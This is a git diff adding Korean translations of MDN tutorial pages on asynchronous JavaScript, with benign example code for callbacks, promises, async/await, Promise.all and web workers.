catch() {} 블록은 e 라고 부르는 에러 오브젝트를 통과시킵니다. 이제 콘솔에 코드가 던져준 에러 메시지를 출력할 수 있습니다.

+ +

아래 코드는 처음 예제를 리팩토링한 두 번째 버전의 코드 입니다. 이 하이브리드 접근법을 사용하는 코드에서 에러를 탐지하고 싶으면 .catch() 블럭을 .then() 호출의 마지막에 작성합니다. :

+ +
async function myFetch() {
+  let response = await fetch('coffee.jpg');
+  return await response.blob();
+}
+
+myFetch().then((blob) => {
+  let objectURL = URL.createObjectURL(blob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch((e) =>
+  console.log(e)
+);
+ +

이는 .catch() 블럭이 async 함수 호출과 Promise 체인 모두에서 발생하는 오류를 잡을 수 있기 때문입니다. 여기서 try/catch 블럭을 사용했더라도, myFetch() 에서 발생한 unhandled에러를 잡아낼 수 있습니다.

+ +

위의 예제 모두를 GitHub에서 찾아볼 수 있습니다. :

+ + + +

Awaiting a Promise.all()

+ +

async/await는 promises의 상위에 만들어져 있기 때문에 Promise의 모든 기능을 사용할 수 있습니다. Promise.all() 을 포함해서 말이죠 — 아래 보이는 코드처럼 Promise.all() 앞에 async키워드를 사용하여 동기식 코드처럼 작성할 수 있습니다. 이전 문서를 확인해봅시다. an example we saw in our previous article. 새로운 버전과 비교하기 위해 탭을 분리 해보세요.

+ +

Aasync/await 스타일로 변경한 코드는 아래와 같습니다. (see live demo and source code) :

+ +
async function fetchAndDecode(url, type) {
+  let response = await fetch(url);
+
+  let content;
+
+  if(type === 'blob') {
+    content = await response.blob();
+  } else if(type === 'text') {
+    content = await response.text();
+  }
+
+  return content;
+}
+
+async function displayContent() {
+  let coffee = fetchAndDecode('coffee.jpg', 'blob');
+  let tea = fetchAndDecode('tea.jpg', 'blob');
+  let description = fetchAndDecode('description.txt', 'text');
+
+  let values = await Promise.all([coffee, tea, description]);
+
+  let objectURL1 = URL.createObjectURL(values[0]);
+  let objectURL2 = URL.createObjectURL(values[1]);
+  let descText = values[2];
+
+  let image1 = document.createElement('img');
+  let image2 = document.createElement('img');
+  image1.src = objectURL1;
+  image2.src = objectURL2;
+  document.body.appendChild(image1);
+  document.body.appendChild(image2);
+
+  let para = document.createElement('p');
+  para.textContent = descText;
+  document.body.appendChild(para);
+}
+
+displayContent()
+.catch((e) =>
+  console.log(e)
+);
+ +

몇 가지 사항을 조금 수정했을 뿐인데 fetchAndDecode()함수를 쉽게 비동기 함수로 변환했습니다. Promise.all() 라인을 살펴보세요:

+ +
let values = await Promise.all([coffee, tea, description]);
+ +

여기에 await 을 사용하여 세 가지 Promise의 결과가 반환되었을 때 values 배열에 담을 수 있습니다. 그리고 마치 동기화 코드처럼 보이죠. 우리가 작업한건 displayContent()async키워드를 추가하고, 모든 코드를.then() 블럭 바깥으로 빼냈습니다. 또한 아주 적은양의 코드 수정도 했죠. 이렇게 하니 더 단순하고, 유용하고 읽기 쉬운 프로그램이 되었습니다.

+ +

마지막으로 에러를 다루기 위해 .catch() 블럭을 displayContent() 함수를 호출하는 곳에 추가했습니다. 이렇게 하면 두 함수에서 발생하는 에러를 처리할 수 있습니다.

+ +
+

Note: It is also possible to use a sync finally block within an async function, in place of a .finally() async block, to show a final report on how the operation went — you can see this in action in our live example (see also the source code).

+
+ +

The downsides of async/await

+ +

앞서 봤듯이 async/await 은매우 유용하지만 고려해야 할 몇 가지 단점이 있습니다.

+ +

Async/await 는 우리의 코드를 마치 동기식 코드처럼 보이게 합니다. 그리고 어떤 면에서는 정말로 동기적으로 행동합니다. 함수 블럭에 여러 개의 await 키워드를 사용하면 Promise가 fulfilled되기 전 까지 다음 await 을 차단합니다. 그 동안 다른 태스크는 계속 실행이 되지만 정의한 함수 내에서는 동기적으로 작동할 것 입니다.

+ +

이 말은 우리가 작성한 코드가 바로 이어지는 수 많은 Promise에 의해 느려질 수 있다는 것을 의미합니다. 각 await 는 이전의 작업이 끝날 때 까지 기다립니다(Promise 체이닝과 혼동하지 마세요). 그런데 우리가 원하는건 기다리는게 아니고 일제히 실행되는 것 입니다.

+ +

이 문제를 완화할 수 있는 패턴이 있습니다. — 모든 Promise 오브젝트를 변수에 저장하여 미리 실행되게 하고 변수가 사용 가능할 때 꺼내서 쓰는 것 입니다. 어떻게 작동하는지 한번 살펴봅시다.

+ +

두 가지 예시를 보여주겠습니다. — 느린 비동기 작업 slow-async-await.html (see source code) 그리고 빠른 비동기 작업 fast-async-await.html (see source code)입니다. 두 예제에서  마치 비동기 작업인 것 처럼 보이기 위해 setTimeout() 을 사용했습니다. :

+ +
function timeoutPromise(interval) {
+  return new Promise((resolve, reject) => {
+    setTimeout(function(){
+      resolve("done");
+    }, interval);
+  });
+};
+ +

그리고 세 가지 timeoutPromise() 함수를 호출하는 timeTest()함수를 만들었습니다.

+ +
async function timeTest() {
+  ...
+}
+ +

그리고 두 개 예제 모두 시작 시간을 기록하고, timeTest() Promise가 fulfilled된 시간을 저장하여 두 시간의 차를 계산해 작업이 얼마나 걸렸는지 사용자에게 보여줍니다. :

+ +
let startTime = Date.now();
+timeTest().then(() => {
+  let finishTime = Date.now();
+  let timeTaken = finishTime - startTime;
+  alert("Time taken in milliseconds: " + timeTaken);
+})
+ +

timeTest() 함수만 두 예제에서 차이가 있습니다.

+ +

slow-async-await.html 예제이서, timeTest() 함수는 아래와 같이 생겼습니다. :

+ +
async function timeTest() {
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+  await timeoutPromise(3000);
+}
+ +

아주 간단하게 timeoutPromise() 함수를 직접 호출했습니다. 각 작업은 3초씩 걸립니다. 그리고 await 키워드를 사용했기 때문에 이전 await 작업이 끝나야 다음으로 진행됩니다. — 첫 번째 예제를 실행하면, alert 박스에서 약 9초(9000밀리초)가 걸렸음을 확인할 수 있습니다.

+ +

다음으로 fast-async-await.html 예제이서, timeTest() 은 아래와 같이 생겼습니다. :

+ +
async function timeTest() {
+  const timeoutPromise1 = timeoutPromise(3000);
+  const timeoutPromise2 = timeoutPromise(3000);
+  const timeoutPromise3 = timeoutPromise(3000);
+
+  await timeoutPromise1;
+  await timeoutPromise2;
+  await timeoutPromise3;
+}
+ +

여기선 세 가지 Promise 오브젝트를 변수에 저장하여 동시에 작업을 시작하도록 했습니다.

+ +

그리고 그 변수에 await을 사용하여 결과를 호출합니다. — 작업이 거의 동시에 시작됐기 때문에, Promise도 거의 동시에 fulfilled될 것 입니다. 두 번째 예제를 실행하면 거의 3초(3000밀리초) 만에 작업이 끝났음을 확인할 수 있습니다.

+ +

코드를 주의깊게 테스트 하고, 성능이 떨어지기 시작하면 위의 상황을 의심해봐야 합니다.

+ +

다른 아주 사소한 단점은 비동기로 실행될 Promise가 있다면 async함수 안에 항상 await을 써야한다는 것 입니다.

+ +

Async/await class methods

+ +

마지막으로 보여줄 내용은 async 키워드를 class/object의 메서드에 사용하여 Promise를 반환하게 만들 수 있다는 것 입니다. 그리고 await 를 그 안에 넣을 수도 있습니다. 다음 문서를 살펴보세요 > ES class code we saw in our object-oriented JavaScript article, 그리고 보이는 코드를async 메서드로 수정한 아래의 내용과 비교 해보세요 :

+ +
class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  async greeting() {
+    return await Promise.resolve(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}
+
+let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);
+ +

이제 클래스의 첫 번째 메서드를 아래와 같이 사용할 수 있습니다. :

+ +
han.greeting().then(console.log);
+ +

Browser support

+ +

One consideration when deciding whether to use async/await is support for older browsers. They are available in modern versions of most browsers, the same as promises; the main support problems come with Internet Explorer and Opera Mini.

+ +

If you want to use async/await but are concerned about older browser support, you could consider using the BabelJS library — this allows you to write your applications using the latest JavaScript and let Babel figure out what changes if any are needed for your user’s browsers. On encountering a browser that does not support async/await, Babel's polyfill can automatically provide fallbacks that work in older browsers.

+ +

Conclusion

+ +

And there you have it — async/await provide a nice, simplified way to write async code that is simpler to read and maintain. Even with browser support being more limited than other async code mechanisms at the time of writing, it is well worth learning and considering for use, both for now and in the future.

+ +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/asynchronous/concepts/index.html b/files/ko/learn/javascript/asynchronous/concepts/index.html new file mode 100644 index 0000000000..443487fefb --- /dev/null +++ b/files/ko/learn/javascript/asynchronous/concepts/index.html @@ -0,0 +1,159 @@ +--- +title: 일반적인 비동기 프로그래밍 개념 +slug: Learn/JavaScript/Asynchronous/Concepts +tags: + - 비동기 + - 비동기 프로그래밍 + - 자바스크립트 +translation_of: Learn/JavaScript/Asynchronous/Concepts +--- +
{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}
+ +

이 문서에서는 비동기적 프로그래밍과 관련된 몇개의 개념들을 살펴볼 것입니다. 그리고 이것들이 웹브라우저와 자바스크립트에서 어떻게 보이는지도 살펴볼 것입니다. 이 모듈의 다른 문서들을 공부하기 전에, 이 문서에 나와있는 개념들을 먼저 학습하십시오.

+ + + + + + + + + + + + +
선행 조건:기초적인 컴퓨터 언어 능력,  Javascript에 대한 기초적인 이해가 필요합니다. 
학습 목적: 비동기적 프로그래밍이 작동하는 기초적인 원리에 대해 이해하는 것입니다. 그리고 이 개념이 어떻게 웹브라우저와 자바스크립트에서 압도적인 지위를 차지하기 되었는지 알아봅니다. 
+ +

'비동기적'(Asynchronous) 이란?

+ +

일반적으로, 프로그램의 코드는 순차적으로 진행됩니다. 한번에 한가지 사건만 발생하면서 말입니다. 만약 어떤 함수의 결과가 다른 함수에 영향을 받는다면, 그 함수는 다른 함수가 끝나고 값을 산출할 때까지 기다려야 합니다. 그리고 그 과정이 끝날 때 까지, 유저의 입장에서 보자면,  전체 프로그램이 모두 멈춘 것처럼 보입니다. 

+ +

예를들면, 맥 유저라면 종종 회전하는 무지개색 커서(비치볼)를 본 적이 있을 것입니다. 이 커서는 오퍼레이팅 시스템이 이렇게 말하고 있는 것입니다. "당신이 지금 사용하고 있는 시스템은 지금 멈춰서서 뭔가가 끝나기를 기다려야만 합니다. 그리고 이 과정은 당신이 지금 무슨 일이 일어나고있는지 궁금해 할 만큼 오래 걸리고 있습니다."

+ +

Multi-colored macOS beachball busy spinner

+ +

이것은 당황스러운 경험이며, 특히 요즘과 같이 컴퓨터가 여러개 프로세서를 돌리는 시대에는 컴퓨터 성능을 효율적으로 쓰지 못하는 처사입니다. 당신이 다른 코어 프로세서에 다른 작업들을 움직이게 하고 작업이 완료되면 알려줄 수 있을 때, 무언가를 기다리는 것은 의미가 없습니다 .그 동안 다른 작업을 수행할 수 있고, 이것이 비동기 프로그래밍의 기본입니다. 이러한 작업을 비동기적으로 실행할 수 있는 API를 제공하는 것은 당신이 사용하고 있는 프로그래밍 환경(웹 개발의 경우 웹브라우저) 에 달려 있습니다.

+ +

Blocking code

+ +

비동기 기법은 특히 웹 프로그래밍에 매우 유용합니다. 웹 앱이 브라우저에서 특정 코드를 실행하느라 브라우저에게 제어권을 돌려주지 않으면 브라우저는 마치 정지된 것처럼 보일 수 있습니다. 이러한 현상을 blocking 이라고 부릅니다. 자세히 정의하자면, 사용자의 입력을 처리하느라 웹 앱이 프로세서에 대한 제어권을 브라우저에게 반환하지 않는 현상 입니다..

+ +

Blocking의 몇 가지 예를 살펴보겠습니다.

+ +

여기 simple-sync.html 예시가 있습니다. (see it running live), 하나의 버튼에 클릭 이벤트리스너를 지정하여 시간이 오래 걸리는 처리를 하도록하였습니다. (날짜를 천만번 계산하고 마지막에 콘솔에 날짜를 출력합니다.) 그리고 처리가 끝나면 페이지에 간단한 문장을 한 줄 출력합니다. :

+ +
const btn = document.querySelector('button');
+btn.addEventListener('click', () => {
+  let myDate;
+  for(let i = 0; i < 10000000; i++) {
+    let date = new Date();
+    myDate = date
+  }
+
+  console.log(myDate);
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+ +

이 예제를 실행할 때 JavaScript 콘솔을 열고 버튼을 클릭하면, 콘솔에 메시지가 출력되기 전 까지 페이지에 문장이 나타나지 않는다는 것을 알 수 있습니다. 코드는 위에서 아래로 순차적으로 실행되며, 아래쪽 코드는 위쪽 코드의 처리가 끝날 때 까지 실행되지 않습니다.

+ +
+

Note: 앞의 예제는 매우 비현실적입니다. 실제 웹 앱에서 날짜를 천만번 계산할 일은 없습니다. 실제로 보여주기 위해 극단적인 예시를 들었을 뿐입니다..

+
+ +

두 번째 예제를 살펴보겠습니다. simple-sync-ui-blocking.html (see it live),  페이지에 UI가 모두 표시되기 전 까지 사용자의 입력을 막는 좀 더 현실적인 예시입니다. 이번 예시에는 두 가지 버튼을 사용합니다. :

+ + + +
function expensiveOperation() {
+  for(let i = 0; i < 1000000; i++) {
+    ctx.fillStyle = 'rgba(0,0,255, 0.2)';
+    ctx.beginPath();
+    ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false);
+    ctx.fill()
+  }
+}
+
+fillBtn.addEventListener('click', expensiveOperation);
+
+alertBtn.addEventListener('click', () =>
+  alert('You clicked me!')
+);
+ +

첫 번째 버튼을 클릭한 후 두 번째 버튼을 바로 클릭하면 경고 박스가 나타나지 않는 것을 확인할 수 있습니다. 첫 번째 버튼은 이벤트가 끝나기 전 까지 다음 작동을 막아버립니다.

+ +
+

Note: OK, in our case, it is ugly and we are faking the blocking effect, but this is a common problem that developers of real apps fight to mitigate all the time.

+
+ +

왜 이런 현상이 발생할까요? 답은 자바스크립트는 기본적으로 single threaded이기 때문입니다. 이 시점에서 threads의 개념을 소개할 필요가 있겠군요

+ +

Threads

+ +

Thread 는 기본적으로 프로그램이 작업을 완료하는데 사용할 수 있는 단일 프로세스 입니다. 각 스레드는 한 번에 하나의 작업만 수행할 수 있습니다. :

+ +
Task A --> Task B --> Task C
+ +

위의 예시처럼 각 작업은 순차적으로 실행되며, 다음 작업을 시작하려면 앞의 작업이 완료되어야 합니다.

+ +

앞서 말했듯이, 많은 컴퓨터들이 현재 여러 개의 CPU코어를 가지고 있기 때문에, 한 번에 여러가지 일을 수행할 수 있습니다. Multiple thread를 지원하는 프로그래밍 언어는 멀티코어 컴퓨터의 CPU를 사용하여 여러 작업을 동시에 처리할 수 있습니다. :

+ +
Thread 1: Task A --> Task B
+Thread 2: Task C --> Task D
+ +

JavaScript is single threaded

+ +

자바스크립트는 전통적으로 싱글 thread입니다. 컴퓨터가 여러 개의 CPU를 가지고 있어도 main thread라 불리는 단일 thread에서만 작업을 실행할 수 있습니다. 위의 예시는 아래처럼 실행됩니다. :

+ +
Main thread: Render circles to canvas --> Display alert()
+ +

JavaScript는 이러한 문제를 해결하기 위해 몇 가지 툴을 도입했습니다. Web workers는 여러 개의 JavaScript 청크를 동시에 실행할 수 있도록 worker라고 불리는 별도의 스레드로 보낼 수 있습니다. 따라서 시간이 오래 걸리는 처리는 woker를 사용해 처리하면 blocking 발생을 막을 수 있습니다..

+ +
  Main thread: Task A --> Task C
+Worker thread: Expensive task B
+ +

위의 내용을 잘 기억하시고 다음 예제를 살펴보세요. simple-sync-worker.html (see it running live), JavaScript 콘솔을 함께 열어주세요. 이전 예시는 날짜를 천만 번 계산하고 페이지에 문장을 출력했지만, 이번엔 천만번 계산 전 문장을 페이지에 출력해줍니다. 더이상 첫 번째 작업이 두 번째 작업을 차단하지 않습니다.

+ +

Asynchronous code

+ +

Web worker는 꽤 유용하지만 이들도 한계가 있습니다. 주요한 내용은 Web worker는 {{Glossary("DOM")}} 에 접근할 수 없습니다. — UI를 업데이트하도록 worker에게 어떠한 지시도 직접 할 수 없습니다. 두 번째 예시에서 worker는 100만개의 파란색 원을 만들 수 없습니다. 단순히 숫자만 계산합니다.

+ +

두 번째 문제는 worker에서 실행되는 코드는 차단되지 않지만 동기적으로 실행된다는 것 입니다. 이러한 문제는 함수를 사용할 때 발생합니다. 어떤 함수가 일의 처리를 위해 이전의 여러 프로세스의 결과를 return 받아야 할 경우 입니다. 동기적으로 실행되면 함수 실행에 필요한 매개변수를 받아올 수 없는 경우가 생기므로 함수는 사용자가 원하는 기능을 제대로 실행할 수 없습니다.

+ +
Main thread: Task A --> Task B
+ +

이 예시에서 Task A는 서버로부터 이미지를 가져오고 Task B는 그 이미지에 필터를 적용하는 것과 같은 작업을 수행한다고 가정합니다. Task A를 실행하고 결과를 반환할 시간도 없이 Task B를 실행해버리면 에러가 발생할 것 입니다. 왜냐햐면 Task A에서 이미지를 완전히 가져온 상태가 아니기 때문이죠.

+ +
  Main thread: Task A --> Task B --> |Task D|
+Worker thread: Task C -----------> |      |
+ +

이번 예시에선 Task D가 Task B와 Task C의 결과를 모두 사용한다고 가정합니다. Task B와 Task C가 동시에 아주 빠르게 결과를 반환하면 매우 이상적이겠지만, 현실은 그렇지 않습니다. Task D가 사용될 때 Task B, Task C 둘 중 어느 값이라도 입력이 되지 않을경우 에러가 발생합니다.

+ +

이러한 문제를 해결하기 위해 브라우저를 통해 특정 작업을 비동기적으로 실행할 수 있습니다. 바로 Promises 를 사용하는것 입니다. 아래 예시처럼 Task A가 서버에서 이미지를 가져오는 동안 Task B를 기다리게 할 수 있습니다. :

+ +
Main thread: Task A                   Task B
+    Promise:      |__async operation__|
+ +

위의 작업은 다른 곳에서 처리가 되므로, 비동기 작업이 진행되는 동안 main thread가 차단되지 않습니다.

+ +

이번 문서에서 다룬 내용은 매우 중요한 내용입니다. 다음 문서에선 비동기 코드를 어떻게 쓸 수 있는지 살펴볼 계획이므로 끝까지 읽어주시면 좋겠습니다.

+ +

결론

+ +

현대의 소프트웨어 설계는 프로그램이 한 번에 두 가지 이상의 일을 할 수 있도록 비동기 프로그래밍을 중심으로 돌아가고 있습니다. 보다 새롭고 강력한 API를 이용하면서, 비동기로 작업해야만 하는 사례가 많아질 것입니다. 예전에는 비동기 코드를 쓰기가 힘들었습니다. 여전히 아직 어렵지만, 훨씬 쉬워졌습니다. 이 모듈의 나머지 부분에서는 비동기 코드가 왜 중요한지, 위에서 설명한 일부 문제들을 방지하는 코드 설계 방법에 대해 자세히 알아봅시다.

+ +

이번 module 에서는..

+ + diff --git a/files/ko/learn/javascript/asynchronous/index.html b/files/ko/learn/javascript/asynchronous/index.html new file mode 100644 index 0000000000..bcf2abdd45 --- /dev/null +++ b/files/ko/learn/javascript/asynchronous/index.html @@ -0,0 +1,59 @@ +--- +title: Asynchronous JavaScript +slug: Learn/JavaScript/Asynchronous +tags: + - Beginner + - CodingScripting + - Guide + - JavaScript + - Landing + - NeedsTranslation + - Promises + - TopicStub + - async + - asynchronous + - await + - callbacks + - requestAnimationFrame + - setInterval + - setTimeout +translation_of: Learn/JavaScript/Asynchronous +--- +
{{LearnSidebar}}
+ +

In this module we take a look at {{Glossary("asynchronous")}} {{Glossary("JavaScript")}}, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.

+ +

Prerequisites

+ +

Asynchronous JavaScript is a fairly advanced topic, and you are advised to work through JavaScript first steps and JavaScript building blocks modules before attempting this.

+ +

If you are not familiar with the concept of asynchronous programming, you should definitely start with the General asynchronous programming concepts article in this module. If you are, then you can probably skip to the Introducing asynchronous JavaScript module.

+ +
+

Note: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as JSBin or Thimble.

+
+ +

Guides

+ +
+
General asynchronous programming concepts
+
+

In this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and JavaScript. You should understand these concepts before working through the other articles in the module.

+
+
Introducing asynchronous JavaScript
+
In this article we briefly recap the problems associated with sychronous JavaScript, and take a first look at some of the different asynchronous JavaScript techniques you'll encounter, showing how they can help us solve such problems.
+
Cooperative asynchronous JavaScript: Timeouts and intervals
+
Here we look at the traditional methods JavaScript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), talk about what they are useful for, and look at their inherent issues.
+
Handling async operations gracefully with Promises
+
Promises are a comparatively new feature of the JavaScript language that allow you to defer further actions until after the previous action has completed, or respond to its failure. This is really useful for setting up a sequence of operations to work correctly. This article shows you how promises work, where you'll see them in use in WebAPIs, and how to write your own.
+
Making asynchronous programming easier with async and await
+
Promises can be somewhat complex to set up and understand, and so modern browsers have implemented async functions and the await operator — the former allows standard functions to implicitly behave asynchronously with promises, whereas the latter can be used inside async functions to wait for promises before the function continues, making chaining of promises easier. This article explains async/await.
+
Choosing the right approach
+
To finish this module off, we'll consider the different coding techniques and features we've discussed throughout, looking at which ones you should use when, with recommendations and reminders of common pitfalls where appropriate.
+
+ +

See also

+ + diff --git a/files/ko/learn/javascript/asynchronous/introducing/index.html b/files/ko/learn/javascript/asynchronous/introducing/index.html new file mode 100644 index 0000000000..a63eb66158 --- /dev/null +++ b/files/ko/learn/javascript/asynchronous/introducing/index.html @@ -0,0 +1,281 @@ +--- +title: Introducing asynchronous JavaScript +slug: Learn/JavaScript/Asynchronous/Introducing +translation_of: Learn/JavaScript/Asynchronous/Introducing +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}
+ +

이 문서에선 JavaScript의 동기식 처리와 관련된 문제를 간략하게 요약하고, 앞으로 접하게 될 다른 비동기 기술들을 살펴보며, 어떻게 우리에게 도움이 될 수 있는지 살펴봅니다.

+ + + + + + + + + + + + +
준비:Basic computer literacy, a reasonable understanding of JavaScript fundamentals.
목표: +

비동기 자바스크립트에 대해 더 알기 위해, 동기 스크립트와 어떤 부분이 다른지 그리고 사용 사례를 알 수 있다.

+
+ +

Synchronous JavaScript

+ +

{{Glossary("asynchronous")}} JavaScript가 무엇인지 이해하려면, 우리는 {{Glossary("synchronous")}} JavaScript가 무엇인지 알아야 합니다. 이 문서에선 이전 문서에서 본 정보의 일부를 요약하겠습니다.

+ +

이전의 학습 모듈에서 살펴본 많은 기능들은 동기식 입니다. — 약간의 코드를 실행하면, 브라우저가 할 수 있는 한 빠르게 결과를 보여줍니다. 다음 예제를 살펴볼까요 (see it live here, and see the source):

+ +
const btn = document.querySelector('button');
+btn.addEventListener('click', () => {
+  alert('You clicked me!');
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+
+ +

이 블럭에서 코드는 위에서 아래로 차례대로 실행됩니다. :

+ +
    +
  1. DOM에 미리 정의된 {{htmlelement("button")}} element 를 참조합니다.
  2. +
  3. click 이벤트 리스너를 만들어 버튼이 클릭됐을 때 아래 기능을 차례로 실행합니다. : +
      +
    1. alert() 메시지가 나타납니다.
    2. +
    3. 메시지가 사라지면 {{htmlelement("p")}} element를 만듭니다.
    4. +
    5. 그리고 text content를 만듭니다.
    6. +
    7. 마지막으로 docuent body에 문장을 추가합니다.
    8. +
    +
  4. +
+ +

각 작업이 처리되는 동안 렌더링은 일시 중지됩니다. 앞에서 말한 문서와 같이, JavaScript 는 single threaded이기 때문입니다. 한 번에 한 작업만, 하나의 main thread에서 처리될 수 있습니다. 그리고 다른 작업은 앞선 작업이 끝나야 수행됩니다.

+ +

따라서 앞의 예제는 사용자가 OK 버튼을 누를 때까지 문장이 나타나지 않습니다. :

+ + + +

{{EmbedLiveSample('Synchronous_JavaScript', '100%', '70px')}}

+ +
+

Note: 기억해두세요. alert() 는 동기 블럭을 설명하는데 아주 유용하지만, 실제 어플리케이션에서 사용하기엔 아주 끔찍합니다.

+
+ +

Asynchronous JavaScript

+ +

앞서 설명된 이유들 (e.g. related to blocking) 때문에 많은 웹 API기능은 현재 비동기 코드를 사용하여 실행되고 있습니다. 특히 외부 디바이스에서 어떤 종류의 리소스에 액세스 하거나 가져오는 기능들에 많이 사용합니다. 예를 들어 네트워크에서 파일을 가져오거나, 데이터베이스에 접속해 특정 데이터를 가져오는 일, 웹 캠에서 비디오 스트림에 엑세스 하거나, 디스플레이를 VR 헤드셋으로 브로드캐스팅 하는것 입니다.

+ +

동기적 코드를 사용하여 작업을 처리하는데 왜 이렇게 어려울까요? 다음 예제를 살펴보겠습니다. 서버에서 이미지를 가져오면 네트워크 환경, 다운로드 속도 등의 영향을 받아 이미지를 즉시 확인할 수 없습니다. 이 말은 아래 코드가 (pseudocode) 실행되지 않는다는 의미 입니다. :

+ +
let response = fetch('myImage.png');
+let blob = response.blob();
+// display your image blob in the UI somehow
+ +

왜냐하면 앞서 설명했듯이 이미지를 다운로드 받는데 얼마나 걸릴지 모르기 때문입니다. 그래서 두 번째 줄을 실행하면 에러가 발생할 것 입니다. (이미지의 크키가 아주 작다면 에러가 발생하지 않을 수도 있습니다. 반대로 이미지의 크기가 크면 매번 발생할 것 입니다.) 왜냐하면 response 가 아직 제공되지 않았기 때문입니다. 따라서 개발자는 response 가 반환되기 전 까지 기다리게 처리를 해야합니다.

+ +

JavaScript에서 볼 수 있는 비동기 스타일은 두 가지 유형이 있습니다, 예전 방식인 callbacks 그리고 새로운 방식인 promise-style 코드 입니다. 이제부터 차례대로 살펴보겠습니다.

+ +

Async callbacks

+ +

Async callbacks은 백그라운드에서 코드 실행을 시작할 함수를 호출할 때 인수로 지정된 함수입니다. 백그라운드 코드 실행이 끝나면 callback 함수를 호출하여 작업이 완료됐음을 알리거나, 다음 작업을 실행하게 할 수 있습니다. callbacks을 사용하는 것은 지금은 약간 구식이지만, 여전히 다른 곳에서 사용이 되고있음을 확인할 수 있습니다.

+ +

Async callback 의 예시는 {{domxref("EventTarget.addEventListener", "addEventListener()")}} 'click' 옆의 두 번째 매개변수 입니다. :

+ +
btn.addEventListener('click', () => {
+  alert('You clicked me!');
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+ +

첫 번째 매개 변수는 이벤트 리스너 유형이며, 두 번째 매개 변수는 이벤트가 실행 될 때 호출되는 콜백 함수입니다.

+ +

callback 함수를 다른 함수의 인수로 전달할 때, 함수의 참조를 인수로 전달할 뿐이지 즉시 실행되지 않고, 함수의 body에서 “called back”됩니다. 정의된 함수는 때가 되면 callback 함수를 실행하는 역할을 합니다.

+ +

XMLHttpRequest API (run it live, and see the source)를 불러오는 예제를 통해 callback 함수를 쉽게 사용해봅시다. :

+ +
function loadAsset(url, type, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.open('GET', url);
+  xhr.responseType = type;
+
+  xhr.onload = function() {
+    callback(xhr.response);
+  };
+
+  xhr.send();
+}
+
+function displayImage(blob) {
+  let objectURL = URL.createObjectURL(blob);
+
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+loadAsset('coffee.jpg', 'blob', displayImage);
+ +

displayImage()함수는 Object URL로 전달되는 Blob을 전달받아, URL이 나탸내는 이미지를 만들어 <body>에 그립니다. 그러나, 우리는 loadAsset() 함수를 만들고 "url", "type" 그리고 "callback"을 매개변수로 받습니다. XMLHttpRequest (줄여서 "XHR") 를 사용하여 전달받은 URL에서 리소스를 가져온 다음 callback으로 응답을 전달하여 작업을 수행합니다. 이 경우 callback은 callback 함수로 넘어가기 전, 리소스 다운로드를 완료하기 위해 XHR 요청이 진행되는 동안 대기합니다. (onload 이벤트 핸들러 사용)

+ +

Callbacks은 다재다능 합니다. 함수가 실행되는 순서, 함수간에 어떤 데이터가 전달되는지를 제어할 수 있습니다. 또한 상황에 따라 다른 함수로 데이터를 전달할 수 있습니다. 따라서 응답받은 데이터에 따라 (processJSON(), displayText()등) 어떤 작업을 수행할지 지정할 수 있습니다.

+ +

모든 callback이 비동기인 것은 아니라는 것에 유의하세요 예를 들어 {{jsxref("Array.prototype.forEach()")}} 를 사용하여 배열의 항목을 탐색할 때가 있습니다. (see it live, and the source):

+ +
const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus'];
+
+gods.forEach(function (eachName, index){
+  console.log(index + '. ' + eachName);
+});
+ +

이 예제에선 그리스 신들의 배열을 탐색하여 인덱스 넘버와 그 값을 콘솔에 출력합니다. forEach() 매개변수는 callback 함수이며, callback 함수는 배열 이름과 인덱스 총 두 개의 매개변수가 있습니다. 그러나, 여기선 비동기로 처리되지 않고 즉시 실행됩니다..

+ +

Promises

+ +

Promises 모던 Web APIs에서 보게 될 새로운 코드 스타일 입니다. 좋은 예는 fetch() API 입니다. fetch()는 {{domxref("XMLHttpRequest")}}보다 좀 더 현대적인 버전 입니다. 아래 Fetching data from the server 예제에서 빠르게 살펴볼까요?  :

+ +
fetch('products.json').then(function(response) {
+  return response.json();
+}).then(function(json) {
+  products = json;
+  initialize();
+}).catch(function(err) {
+  console.log('Fetch problem: ' + err.message);
+});
+ +
+

Note: You can find the finished version on GitHub (see the source here, and also see it running live).

+
+ +

fetch() 는 단일 매개변수만 전달받습니다. — 네트워크에서 가지고 오고 싶은 리소스의 URL — 그리고 promise로 응답합니다. promise 는 비동기 작업이 성공 했는지 혹은 실패했는지를 나타내는 하나의 오브젝트 입니다. 즉 성공/실패 의 분기점이 되는 중간의 상태라고 표현할 수 있죠. 왜 promise라는 이름이 붙었는지 잠깐 살펴보자면.. "내가 할수 있는 한 빨리 너의 요청의 응답을 가지고 돌아간다고 약속(promise)할게" 라는 브라우저의 표현방식 이어서 그렇습니다.

+ +

